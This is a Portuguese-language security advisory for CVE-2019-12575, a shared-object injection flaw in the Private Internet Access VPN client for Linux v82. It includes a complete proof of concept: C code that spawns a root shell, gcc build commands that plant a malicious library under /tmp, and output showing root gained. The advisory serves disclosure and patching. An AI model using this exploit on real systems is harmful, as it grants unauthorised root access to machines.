For the English version of this alert, click here.
Allele Security Alert
ASA-2019-00381
Identificador(es)
ASA-2019-00381, CVE-2019-12575
Título
Injeção de shared object
Fabricante(s)
London Trust Media, Inc
Produto(s)
Private Internet Access (PIA) VPN Client
Versão(ões) afetada(s)
Private Internet Access (PIA) VPN Client para Linux versão v82
Versão(ões) corrigida(s)
Private Internet Access (PIA) VPN Client para Linux versão v1.2.1 ou posterior
Prova de conceito
Sim
Descrição
Uma vulnerabilidade no Private Internet Access (PIA) VPN Client para Linux versão v82 pode permitir que um atacante local autenticado execute código arbitrário com privilégios elevados.
Detalhes técnicos
O binário root_runner.64 do PIA Linux é root setuid. Este binário executa /opt/pia/ruby/64/ruby que por sua vez tenta carregar várias bibliotecas em /tmp/ruby-deploy.old/lib. Um usuário local sem privilégios pode criar uma biblioteca maliciosa sob esse caminho para executar código arbitrário como usuário root.
Todas as etapas são executadas como um usuário com poucos privilégios.
Etapa 1 – Crie o seguinte diretório
mkdir -p /tmp/ruby-deploy/lib/ruby/2.4.0/enc
Passo 2 – Crie woot.c para executar um shell quando carregado
cat >woot.c<<EOF #include <stdlib.h> #include <sys/types.h> #include <unistd.h> void woot(){ setreuid(0,0); execl("/bin/sh","/bin/sh",NULL); } EOF
Etapa 3 – Compile a biblioteca mal-intencionada.
gcc -fPIC -o woot.o -Wall -c woot.c gcc -Wall \ -shared \ -Wl,-soname,encdb.so.so \ -Wl,-init,woot \ -o /tmp/ruby-deploy/lib/ruby/2.4.0/enc/encdb.so.so woot.o
Etapa 4 – Execute root_runner.64
/opt/pia/root_runner/root_runner.64
Exemplo
user1@woot:~$ id uid=1001(user1) gid=1001(user1) groups=1001(user1) user1@woot:~$ ./pia-ruby-exploit.sh + LIBPATH=/tmp/ruby-deploy/lib/ruby/2.4.0/enc + mkdir -p /tmp/ruby-deploy/lib/ruby/2.4.0/enc + cat + gcc -fPIC -o woot.o -Wall -c woot.c + gcc -Wall -shared -Wl,-soname,encdb.so.so -Wl,-init,woot -o /tmp/ruby-deploy/lib/ruby/2.4.0/enc/encdb.so.so woot.o + /opt/pia/root_runner/root_runner.64 # id uid=0(root) gid=1001(user1) groups=1001(user1) #
Créditos
Rich Mirch
Referência(s)
PIA Linux, macOS Privilege Escalation: Shared Object Injection
https://github.com/mirchr/security-research/blob/master/vulnerabilities/PIA/CVE-2019-12575.txt
CVE-2019-12575
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12575
CVE-2019-12575
https://nvd.nist.gov/vuln/detail/CVE-2019-12575
Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.
Última modificação: 5 agosto 2019